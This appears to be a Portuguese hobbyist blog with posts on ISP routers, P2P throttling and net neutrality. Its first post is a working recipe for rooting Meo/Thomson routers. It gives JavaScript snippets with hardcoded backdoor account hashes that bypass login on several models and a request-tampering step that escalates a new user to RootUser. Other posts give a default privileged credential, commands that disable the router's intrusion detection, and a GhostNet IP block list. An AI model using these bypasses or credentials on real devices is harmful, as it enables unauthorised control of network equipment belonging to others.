Eish…. Q fdp de blog Porque as ideias são para partilhar

February 20, 2014

Como ter root num router meo

Filed under: How-To's,ISP's,Pensamentos — admin @ 8:12 am

Depois de muitos meses ausentes vou recomeçar a escrever este blog. E vou recomeçar por uma reconfiguração á martelada dos router 799vn do Meo.

Tento tido nas ultimas semanas problemas com o meu router do Meo.Crashes sem razão aparente, tabelas de NAT completamente atravessadas e para ajudar um acesso que não deixa fazer nenhum despiste decente.

Não me interpretem mal. O suporte do 16209 é dos melhores que tenho visto, estando anos luz á frente do que a Zoff tem para oferecer.

No entanto, o problema mantém-se e para tentar perceber o que está a acontecer (acho que tenho algo na minha rede a fazer broadcast storms) impunha-se um acesso decente.

Assim cheguei a esta excelente página: https://ptsec.eu/wp/root-nos-routers-tg784n-com-firmware-10-2-1-d/

O que é la falado efetivamente funciona e aqui vai um cookbook rápido de como ter acesso a todas as configurações e tools de diagnostico destes modems.

1 – Abrir a consola de javascript no browser (+info aqui)

2 – Na aba ‘Console’ inserir o seguinte:

1
2
3
4
5
6
7
var user = "Debug";
var hash2 = "91cd28f3d8d3a503e9839caaa2929123";

var HA2 = MD5("GET" + ":" + uri);
document.getElementById("user").value = user;
document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);
document.authform.submit();

2.1– Para o TG799:

1
2
3
4
5
6
7
var user = "microuser";
var hash2 = "bd739b58aea3a4278d11bff06496a38f";

var HA2 = MD5("GET" + ":" + uri);
document.getElementById("user").value = user;
document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);
document.authform.submit();

2.2– Para o TG799vn (10.2.1.D):

1
2
3
4
5
6
7
var user = "Debug";
var hash2 = "082d7ff2a82ff89c3f9c5b2356144357";

var HA2 = MD5("GET" + ":" + uri);
document.getElementById("user").value = user;
document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);
document.authform.submit();

2.3– Para TG787:

1
2
3
4
5
6
7
var user = "Debug";
var hash2 = "1019a97d050c3ef42997740ee54731bf";

var HA2 = MD5("GET" + ":" + uri);
document.getElementById("user").value = user;
document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);
document.authform.submit();

2.4– Para TG784n v3:

1
2
3
4
5
6
7
var user = "Debug";
var hash2 = "276da5030a939d29642637f279629770";

var HA2 = MD5("GET" + ":" + uri);
document.getElementById("user").value = user;
document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);
document.authform.submit();

2.5– Para outras versões:

1
2
3
4
5
6
7
var user = "Debug";
var hash2 = "f2bb79a855558478357aa3ef778ffa1a";

var HA2 = MD5("GET" + ":" + uri);
document.getElementById("user").value = user;
document.getElementById("hidepw").value = MD5(hash2 + ":" + nonce +":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);
document.authform.submit();

3 – E pronto, o login será feito com o utilizador ‘Debug’

 

Para criar outro utilizador com permissões de Root terão que:
Requisitos:
– Firefox
– Tamper Data (link)

1 – Depois de entrar com o método anterior como Debug ir a Ferramentas -> Gestão de Utilizadores

2 – Clicar em Adicionar novo utilizador

3 – Preencher normalmente…no meu caso pus o username admin e a password admin (Não clicar em aplicar)

4 – Abrir o Tamper Data (Ferramentas -> Tamper Data) e clicar Iniciar alteração/Start Tamper

5 – De volta a pagina do router clicar Aplicar

6 – Quando aparecer uma janela do Tamper Data clicar em Alterar/Tamper

7 – Mudar onde diz Administrator para RootUser (sensível a maiúsculas e minúsculas)

8 – Clicar OK

9 – Podem fechar o Tamper Data que o vossos novo utilizador já foi criado com permissões de Root, poderão agora entrar na Telnet com este utilizador para ter acesso total.
Podem ver depois no telnet:

E está feito. Lembrem-se que se meterem os pés pelas mãos, vão mesmo de ter que fazer um hard reset ao router e em seguida configurar ele novamente na sua totalidade. Os moços do 16209 podem dar uma ajuda.

Já posso agora fazer despistes do que se passa na minha rede. Assim que tiver mais dados relevantes partilharei.

Disclamer: Não recomendo NADA que façam algo na configuração do router se não souberem EXATAMENTE o que estão a fazer.

Abr.

Xupetas

 

 

November 19, 2009

Vodafone TV – Um guia para p2p

Filed under: ISP's,P2P — xupetas @ 5:26 pm

Caros Amigos,

Como falamos anteriormente mudei para a Vodafone TV e só tenho coisas boas a dizer. Tudo seria perfeito não fosse aquela coisa que eles vendem no pacote fabricada pela Thompson.

Sim é um router, mas tanto como um carrinho de brincar é um automóvel.

Onde se notam mais as limitações é na capacidade de processamento. Processador fraco implica a limitações especialmente no numero de ligações que são artificialmente baixadas para um limite um pouco cómico nos dias de hoje: 1024 (entre TCP, UDP e tudo o que aquilo consiga digerir).

Este tipo de limitações são más, especialmente para quem usa muito UDP ou afins como por exemplo P2P.

Após andar a chafurdar dentro do router descobri algumas configurações que irão certamente vos aumentar a velocidade do P2P, sem saturar o equipamento e consequentemente ouvirem a mulher na sala a dizer que não consegue ver a novela.

Para tal, entrem no router por telnet ou ssh e coloquem as seguintes configurações:

:connection timerconfig timer=udpidle value=20

:connection timerconfig timer=udpkill value=15

no fim façam saveall para guardar as configurações.

O que é que isto faz? Como dá para compreender pelo inglês das configurações, atribui um valor máximo de 15 segundos para matar ligações udp que estejam penduradas e 20 segundos para matarem ligações que embora esteja activas estejam marcadas como idle.

Na pratica, fazem que o router purgue conexões que estejam a ocupar memória, e que não estejam a ser utilizadas.

FYI: por defeito as ligações estão configuradas num limite máximo de 1 hora.

Dando um exemplo prático:

SEM:

>:connection stats
Connection statistics:
——————————————-
Maximum number of connections             : 1024
Maximum number of halfopen connections    : 1024
——————————————-
Number of active connections              : 903
Number of halfopen connections            : 95
Number of expected connections            : 0
Number of loose connections               : 0
Number of closing connections             : 0
Number of idle connections                : 401
Number of mcast connections               : 5
——————————————-
Number of TCP connections                 : 61
Number of UDP connections                 : 865
Number of ICMP connections                : 3
Number of non TCP/UDP/ICMP connections    : 9
——————————————-
Number of TCP open connections            : 24
Number of TCP established connections     : 51
Number of TCP closing connections         : 86

Stream cache statistics:
——————————————-
Maximum number of hash collisions         : 756
% of hash entries with collisions         : 88.44
% of hash entries unused                  : 19.43

CONN/NAT application helper statistics:
——————————————-
Maximum number of helper bindings         : 24
Maximum number of connections with helper : 128
——————————————-
Number of helper bindings                 : 0
Number of connections with active helper  : 0

COM:

>:connection stats
Connection statistics:
——————————————-
Maximum number of connections             : 1024
Maximum number of halfopen connections    : 1024
——————————————-
Number of active connections              : 838
Number of halfopen connections            : 95
Number of expected connections            : 0
Number of loose connections               : 0
Number of closing connections             : 0
Number of idle connections                : 401
Number of mcast connections               : 5
——————————————-
Number of TCP connections                 : 461
Number of UDP connections                 : 365
Number of ICMP connections                : 3
Number of non TCP/UDP/ICMP connections    : 9
——————————————-
Number of TCP open connections            : 24
Number of TCP established connections     : 251
Number of TCP closing connections         : 186

Stream cache statistics:
——————————————-
Maximum number of hash collisions         : 7
% of hash entries with collisions         : 48.44
% of hash entries unused                  : 19.43

CONN/NAT application helper statistics:
——————————————-
Maximum number of helper bindings         : 24
Maximum number of connections with helper : 128
——————————————-
Number of helper bindings                 : 0
Number of connections with active helper  : 0

Lembrem-se que o caso do P2P as ligações UDP são apenas utilizadas para querys de quem tem o que. Não são necessárias para a transferência propriamente dita de ficheiros. Isto é feito por TCP. Assim sendo não faz sentido as conexões UDP  estarem activas tanto tempo.

Caso a coisa não corra como vocês querem ou notem algum problema com outra aplicação que utilizem podem sempre efectuar reset as configs através do comando:

:connection timerconfig timerclear

saveall

Isto fará que seja efectuado o dito reset as configs de timer.
Resta-me despedir de todos lembrando que o P2P não é mau. O que sacam com ele é que é mau. Existe muita coisa legal, que podem descarregar sem problemas legais.

Um abraço

Xupetas

Update 1:

Descobri mais um mamão de CPU e memória no router. O sistema que controla o hostmanager.

Este processo procura nas ligações que se encontram em next-hop da rede interna, por mac’s de forma a construir um esquema do que está ligado ao router.

O unico senão é que isto, ao correr de 30 em 30 segundos vai causar lentidão ao router. A minha sugestão é que removam totalmente este sistema através dos seguintes comandos:

:hostmgr config state=disabled

:hostmgr saveall

:hostmgr clear

O ganho é cerca de 10% de memória e 20% de CPU no total.

Update 2:

Chamaram-me a atenção para um pormenor especialmente para receptores MEO (que também beneficiam desta configuração):

Não podem ter os pcs de casa com DHCP (coloquem isso com ip fixo) e sobretudo coloquem os DNS da telepac/sapo, senão os pedidos de DNS podem ficar demasiado tempo em espera, sendo consequentemente dropados, apresentado no Windows (blargh) um alerta de conectividade limitada ou inexistente.

Os IP’s de DNS do sapo/telepac são: 194.65.3.20 e 194.65.3.21

Obrigado ao Gomes por este apontamento!!

Update 3:

Powered by Gomes

Atenção que para os utilizadores meo convém fazerem estas alterações com o user sumeo/m30acc355 por causa do nivel de permissões do utilizador.

Sem o nível correcto, as alterações podem não ser efectuadas.

:update 4

A Vodafone activou de novo o IDS na ultima firmware. Se não quiserem um sistema de detecção de intrusões, ou já tiverem outro a funcionar na vossa firewal efectuem:

:ids config state=disabled

:ids clear

:saveall

Be cool

Xupetas

October 13, 2009

Como se defenderem da GhostNet

Filed under: ISP's,Pensamentos — admin @ 1:45 pm

Amigos,

Nesta semana surgiu uma noticia publicada no DN que me deixou algo preocupado. Será que alguém na minha rede tem um destes sacanitas instalados? Como posso eu fazer para proteger os meus conteúdos e os da minha família?

Estive a investigar e julgo que o Kasper AV e outros AV’s  frees não detectam estes trojans. Peço desculpa se assim não for.

Assim sendo, andei a procura das ip ranges dos servidores que suportam a ghostnet e cheguei a seguinte lista das empresas / telecoms chinesas que estão identificadas como envolvidas:

59.49.128.0/17
59.50.0.0/16
61.186.0.0/18
112.66.0.0/15
119.41.0.0/16
121.58.0.0/17
124.225.0.0/16
202.100.192.0/18
218.77.128.0/17
220.174.0.0/16
59.49.220.0/22
59.50.116.0/22
59.50.144.0/21
59.50.160.0/20
61.186.16.0/22
121.58.30.0/24
121.58.55.0/24
124.225.84.0/22
124.225.156.0/22
124.225.178.0/23
202.100.239.1
202.100.239.2/31
202.100.239.4/30
202.100.239.8/29
202.100.239.16/28
202.100.239.32/27
202.100.239.64
218.77.185.0/24
220.174.8.0/22
220.174.82.0/23
220.174.204.0/22
58.66.201.0/24
58.66.202.0/23
58.66.204.0/22
58.66.208.0/21
59.49.128.0/17
59.50.0.0/16
59.49.220.0/22
59.50.116.0/22
59.50.144.0/21
59.50.160.0/20
60.13.64.0/18
61.186.0.0/18
61.186.16.0/22
112.66.0.0/15
113.58.0.0/16
113.59.0.0/17
119.41.0.0/16
121.58.0.0/17
121.58.30.0/24
121.58.55.0/24
124.66.0.0/17
124.225.0.0/16
124.225.84.0/22
124.225.156.0/22
124.225.178.0/23
125.72.129.0/24
202.100.192.0/18
202.100.211.0/26
202.100.239.1
202.100.239.2/31
202.100.239.4/30
202.100.239.8/29
202.100.239.16/28
202.100.239.32/27
202.100.239.64
210.37.96.0/21
211.138.160.0/20
218.77.128.0/17
218.77.185.0/24
220.174.0.0/16
220.174.8.0/22
220.174.82.0/23
220.174.204.0/22
220.182.37.0/24
220.182.38.0/23
220.182.40.0/22
221.11.128.0/18
221.11.192.0/19
221.11.135.48/28
221.11.139.64/29
221.11.181.64/28
221.199.224.0/19

Com estas ranges é simples criar regras de firewall que bloqueem os acessos de e para os ditos enderecamentos.

Se for em iptables será algo assim:

Link

Se quiserem em Cisco será algo assim:

ACL ou IOS Firewall

Se for em Winblows procurem no vosso fabricante de firewall como adicionar directamente ranges a redes negadas.

Be safe! e Porrada nas lojas dos 300.

Xupetas

October 2, 2009

O Sr que se segue….

Filed under: ISP's,Pensamentos — xupetas @ 8:24 pm

E agora a moda pegou… tudo em frente para que nos respeitem como consumidores.

Desta vez a queixa foi da Vodafone contra o seu tráfego ilimtado com um limite de 250GB… e o resultado foi… mais uma vitória para o consumidor:

E pronto… reclamem… se bem que eles desrespeitam os tribunais, mantendo estas e outras politicas… mas todas as viagens começam com um passo… e esta apenas começou…

Xupetas…

September 30, 2009

Novo Operador de TV

Filed under: ISP's,Pensamentos — xupetas @ 12:26 pm

Olá a todos,

Finalmente mudei da Z(off) tv para a vdf TV.
É IPTV, é mau eu sei, mas só a vantagem de mandar a Z(off) as urtigas é só por si Priceless :-).
Claro que já notei várias nuances no serviço que a meu ver não são boas.

Por exemplo:

Box e PLC’s: simplesmente do melhor que existe. Cisco e Devolo a 200 mbits.

Router: Thompson pior que mau. Lento que se farta, com uma firmware manhosa e mais que martelada. A maior parte das capacidades, e pontos fortes do router estão deshabilitadas, sem hipotese de serem activadas pelo utilizador final. Numero máximo de conecções simultâneas suportadas pelo Hardware do router: 1024. Numero máximo de conecções simultâneas sem deixarem de ver a novela: 600… com mta sorte!

… ou seja, se utilizarem P2P, para vosso bem e para o bem de quem vê TV na vossa casa, limitem o numero de ligações dos vossos clientes P2P a um máximo (dos máximos) de 600 ligações  simultâneas senão vão começar os saltos na TV.

Outra coisa má a meu ver, é o facto do túnel para a ipTV partir do router e não da box cisco (pelo menos tem lá um endereçamento privado que julgo ser o endpoint da rede de iptv).

A box tem de certeza mais poder de processamento que o router e se a mesma fosse utilizada para finalizar o túnel de iptv a fluidez de tv deveria ser mais continua e alguns saltos pelo router estar sobrecarregado poderiam ser evitados.

Outro problema prende-se pelo gosto de utilizar (ou não) o equipamento de endpoint de adsl da Vodafone.

Não vejo com bons olhos obrigarem-me a utilizar equipamento deles. Especialmente porque em termos de segurança, o equipamento não chega nem de perto nem de longe ao nível de filtragem que uma firewall dedicada tem.

Lá teve de surgir mais uma martelada, e agora entre o router da vdf e a minha rede interna tenho uma firewall transparente (já publiquei uma nota sobre como efectuar isto) para garantir a segurança do meu pOrnserv.

No geral e em conclusão tenho a dizer que SIM! Para mim é bom, o preço atractivo embora a grelha de canais seja ainda fraquita é certamente uma boa opção para acabar com a Hegemonia da Z(off) no panorama dos operadores de TV  em Portugal.
Xupetas!

January 19, 2009

Como combater o TS na Zon… parte 2

Filed under: ISP's,P2P,Pensamentos — admin @ 2:27 pm

Olá a todos,

No seguimento do meu ultimo post aqui vão as receitas para combater o TS da Zon.

Estas receitas são para protocolos bittorrent:

Currently both Azureus and uTorrent included this new form of encryption (specs) in their latest Beta’s. The fact that these two clients are actively working together to implement this new feature is promising and will make this form of encryption the new standard since the users of these two clients cover the majority of all BitTorrent users.

There are two “encryption modes” available.

The 2 different payload encryption methods plaintext transmission and RC4 provide a different degree of protocol obfuscation, security and speed. Where the plaintext mode only provides basic anti-shaping obscurity, no security and low CPU usage the RC4 encryption obfuscates the entire stream and not only the header and adds some cryptographic security at the price of spent CPU cycles.

The question now is.. Does it work? and how effective is it? If it works it will definitely offer a great solution to all BitTorrent users who suffer from traffic shaping ISP’s.

Bram Cohen, the creator of the BitTorrent protocol reacted quite negatively on these new developments. He questions the need for encryption since only a few ISP’s are actively shaping traffic. Among other things he also fears incompatibility between clients and increased cpu usage. Although these arguments can be countered quite easily, developers should keep them in mind.

But the fact is, if this new encryption method is launched successfully it will be a huge step forward for the BitTorrent community.

In torrentfreak

Na pratica:

Saquem o ultimo cliente de bittorrent que usam. Provavelmente já está incluído um layer de encriptação de tráfego.

Uma pequena nota: utilizem para a transferência a vossa porta 443 TCP. Tipicamente esta porta é utilizada para https e não é bloqueada tao agressivamente.

Ps: Este blog não é para incitar a pirataria. Existem coisas legais para sacar nas redes P2P. E algumas bem melhores que as pagas.  Diz não á pirataria.

Xupetas.

Como combater o TS na Zon… parte 1

Filed under: ISP's,P2P,Pensamentos — admin @ 2:15 pm

Olá a todos,

Tenho visto por essas interweb’s muita gente a perguntar como combater o TS da ZON para o P2P.

Tendo em atenção esse grito de ajuda, e alimentando o facto que não posso com eles nem com molho de ostras aqui vão as receitas:

Para eMule, aMule, edonkey2000 e em inglês:

The eMule team has released a new version of eMule, which supports protocol obfuscation, probably inspired by the success of encryption in several BitTorrent clients. This feature, which causes eMule’s communication to appear as random data and makes it more difficult for ISP’s to throttle eMule users.

emuleThe new version has the option of only connecting to clients that support this feature but it has the option of connecting to all clients as well.

Protocol obfuscation has been the most requested feature by eMule users for several months. It has been reported that Brasil Telecom has been aggressively throttling traffic generated by eMule. This has made eMule practically unusable for thousands of Brazilian’s and although NeoMule, an eMule mod, added protocol obfuscation several months ago it only partially alleviated the problem.

NeoMule users represent a very small percentage of the ed2k network and although their protocol obfuscation feature works well, it only works if the users it connects to are also using NeoMule.

Recently, more and more ISP’s have began throttling P2P protocols. Numerous ISP’s have targeted the BitTorrent protocol and in response Azureus, BitComet and uTorrent have implemented protocol encryption.

Overall, their protocol encryption feature has been effective but Allot Communications claims that they have developed technology that allows ISP’s to specifically target and throttle encrypted BitTorrent traffic.

It’s clear that eMule’s protocol obfuscation feature will be well received by the eMule community but it remains to be seen how long it will take for ISP’s to figure out a way to throttle eMule’s traffic once again.

in p2pnet

Para os que tiveram preguiça de ler:

Saquem daqui o cliente Neomule: http://sourceforge.net/projects/neomule/
Actualizem a vossa protecção do peerguardian.

Leenchem até cair para o lado… coisas legais atenção 🙂

Ps: Qualquer cliente emule que suporte protocol obfuscation da para dar a volta a coisa.

Ps2: Este blog não é para incitar a pirataria. Existem coisas legais para sacar nas redes P2P. E algumas bem melhores que as pagas.  Diz não á pirataria.

Xupetas

January 13, 2009

Piada cosmica… Zon a 100mb

Filed under: ISP's,Pensamentos — admin @ 11:11 am

Aconteceu-me na semana passada uma piada de nível cósmico.

Como a maior parte dos meus leitores sabe, tenho um ódio de estimação para com o serviço de Net da Zon, devido a sua publicidade enganosa, ao seu PUA e a sua arrogância quando confrontados com isto.

Assim sendo, passei da Zon para a Vodafone ADSL Empresas, e para a utilização que efectuo, chega e sobra sem haver problemas, ou surpresas estranhas.

E eis que na semana passada, recebi um contacto de um comercial da Zon que me tentava impingir a nova Zon Wideband de 100mbits.

Não pude deixar de me rir, e em seguida de colocar o tico e o teco a fazer contas baseadas na minha passada experiência com eles:

100 Mbs ‘Ilimitados’ por 60€…

Os ‘ilimitados’ são 300 Gb, depois disso os fantabulasticos 100Mbs são cortados à grande para menos de um milionésimo disso…

…100 Mb dá para sacar acima de 700Mb/minuto (assumindo que a storage aguenta a bomboca)

Ou seja… se a tendência da minha zona dos 300GB por mês (e levas com o PUA) se manter, quer dizer que ao fim de 5000 minutos fico na pratica sem net… 84 horas… 3 dias…

… tudo por 60 euros por mês….

… ao que respondi ao comercial… é que é já a seguir…. lamento mas não quero pagar 60 e tal euros para ter net apenas 3 dias por mês 🙂

August 3, 2008

EFF lança software para testar ISP’s

Filed under: ISP's — xupetas @ 8:59 pm

Olá,

Chamo a atenção para este artigo da ARS onde se fala no lancamento de mais uma toolzita que testa se o vosso ISP anda a brincar com a vossa banda, a dar cabo de algum protocolo em especifico.

Recursos:

O projecto está disponível na sourceforge em https://sourceforge.net/project/show…roup_id=233013

O projecto “mãe” – test your ISP – está em http://www.eff.org/testyourisp

O artigo completo está em:

http://arstechnica.com/news.ars/post…-meddling.html

“In recent years, ISPs have taken an increased interest in faking packets, and for some mysterious reason, they don’t always like to make this fact perfectly clear to customers. Hoping to bring power to the people, the Electronic Frontier Foundation (EFF) yesterday released a tool called “Switzerland” that can help users find out if an ISP is modifying packets or injecting packets of its own into any protocol. The tool is open source and available now for download, but there’s a reason that EFF refers to the current release as “Version Zero.”

The software, designed to see if an ISP is delivering packets “neutrally” (hence the Switzerland reference), has undergone in-house development for some time. EFF Staff Technologist Peter Eckersley coded the initial version, which has now been opened up and made available on SourceForge. Enterprising network hackers (and GUI experts) are needed to continue development of version 0.0.4.

The app, coded in Python, runs on Linux, OS X, and Windows, but currently operates only in a command-line version that can take a fair bit of technical skill to install (the backup installation instructions involve a compiler). Once running, the software uses a “semi-P2P, server-and-many-clients architecture” to monitor all packets sent from the clients to the server; if any are altered in transit or appear at the server without being sent from the client, the software alerts the user that packets are being modified or injected somewhere between the two machines.

The software is protocol agnostic, which means that it can be used to find both the TCP reset packets that Comcast has used to limit BitTorrent uploading and the code injected by NebuAd’s ISP-based ad-serving system. Development was inspired by the Comcast case, and the software was fittingly announced the day before the FCC vote that brought the matter to a close.

“Until now, there hasn’t been a reliable way to tell if somebody—a hacker, an ISP, corporate firewall, or the Great Firewall of China—is modifying your Internet traffic en route,” said Eckersley in a statement. “The few tests available have been for narrow and specific kinds of interference, or have required tremendous amounts of advanced forensic labor. Switzerland is designed to make general-purpose ISP testing faster and easier.”

It’s not there yet, but the EFF hopes that one day, Switzerland will pump copious amounts of data into its “Test Your ISP Project.” The project gathers white papers, test results, and network testing software into a single repository so that users can find out exactly what ISPs are doing with their packets. While companies like Comcast have already pledged to be better about disclosure, the EFF is fan of the “trust… but verify” approach.

“At a minimum, consumers deserve a complete description of what they are getting when they buy ‘unlimited Internet access’ from an ISP,” says the Test Your ISP project page. “Only if they know what is going on and who is to blame for deliberate interference can consumers make informed choices about which ISP to prefer (to the extent they have choices among residential broadband providers) or what counter-measures they might employ.”

If the FCC lacks the resources to proactively examine ISP network management, and ISPs themselves aren’t always up for full disclosure, tools like Switzerland should let consumers know what to expect from an ISP. Finding a better one, though, may be more difficult.

Your Ad Here

June 14, 2008

Google irá desenvolver ferramenta contra ISP’s menos honestos

Filed under: ISP's — xupetas @ 6:50 pm

Um post enviado pelo colaborador “Xakalito”

O Google está de volta, e desta vez para desferir uma martelada contra ISP’s menos honestos que pratiquem técnicas de TS e PUA’s tudo no interesse da net neutrality.

A noticia hoje publicada no /. indica que o Richard Whitt (Senior Policy Director do Google) irá apresentar ferramentas com as quais um utilizador poderá confrontar o seu ISP caso se sinta lesado de alguma forma… acabou-se a conversa do “ah nao… não fazemos TS….”

A Noticia em Inglês:

Google has been very vocal on its stance for net neutrality. Now, Richard Whitt–Senior Policy Director for Google–announces that Google will take an even more active role in the debate by arming consumers with the tools to determine first-hand if their broadband connections are being monkeyed with by their ISPs:

“We’re trying to develop tools, software tools…that allow people to detect what’s happening with their broadband connections, so they can let [ISPs] know that they’re not happy with what they’re getting — that they think certain services are being tampered with,” Google senior policy director Richard Whitt said this morning during a panel discussion at Santa Clara University, an hour south of San Francisco.

In an article written by Cade Metz, a reporter for The Register, Metz explains that when the net neutrally debate first popped up at Google, Google actually considered playing along with the network-throttling ISPs:

“We were pretty well known on the internet. We were pretty popular. We had some funds available. We could essentially buy prioritization that would ensure we would be the search engine used by everybody. We would come out fine – a non-neutral world would be a good world for us.”

But more idealist minds prevailed at Google, and the company has advocated network neutrality ever since–“or as Whitt likes to call it ‘broadband neutrality’.” Whitt didn’t mention when the network analysis tools would become available.

Other participants of the panel discussion had very different opinions on network neutrality, such as “George Ou and Richard Bennett, two networking-obsessed pals who have vehemently defended Comcast’s right to throttle peer-to-peer traffic.” The one thing that everyone on the panel appeared to agree on, however, was that ISPs need to be transparent with how they manage their network traffic. Google’s stance is that if the ISPs won’t disclose that information to the public, then consumers should have the tools at hand to determine for themselves what their ISPs are doing.

Xackalito

Your Ad Here

Older Posts »

Powered by WordPress